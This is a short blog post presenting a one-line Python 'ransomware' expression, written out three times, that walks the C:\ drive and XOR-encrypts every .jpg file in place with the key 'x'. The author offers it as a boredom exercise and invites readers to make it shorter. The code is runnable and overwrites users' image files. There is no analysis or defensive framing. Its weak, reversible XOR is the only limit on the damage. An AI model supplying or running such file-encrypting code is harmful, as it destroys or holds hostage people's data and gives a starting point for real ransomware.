Single line python ransomware?


Boredom is very dangerous because you start to waste time on nonsense, and this article is the proof of it 🙂

Here is a tiny ransomware implemented with only one python expression.

map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])

I ommitted import statements in the previous line, with them:

import os;from itertools import izip;map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])

A more readable version:

import os;from itertools import izip;map(lambda filepath: map(lambda openfile: map(lambda readbytes: openfile.seek(0) or openfile.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(readbytes, "x"*len(readbytes)))) and openfile.close(),[openfile.read()]), [open(filepath, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])

If you execute it, the script will walk c:\ and encrypt jpg files with a simple byte by byte xor with key: ‘x’. Executing it again will decrypt the files.

If you guess how to do the script shorter, tell me please 🙂 i would like to be able to write it in 140 characters.

 

Advertisements

2 thoughts on “Single line python ransomware?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s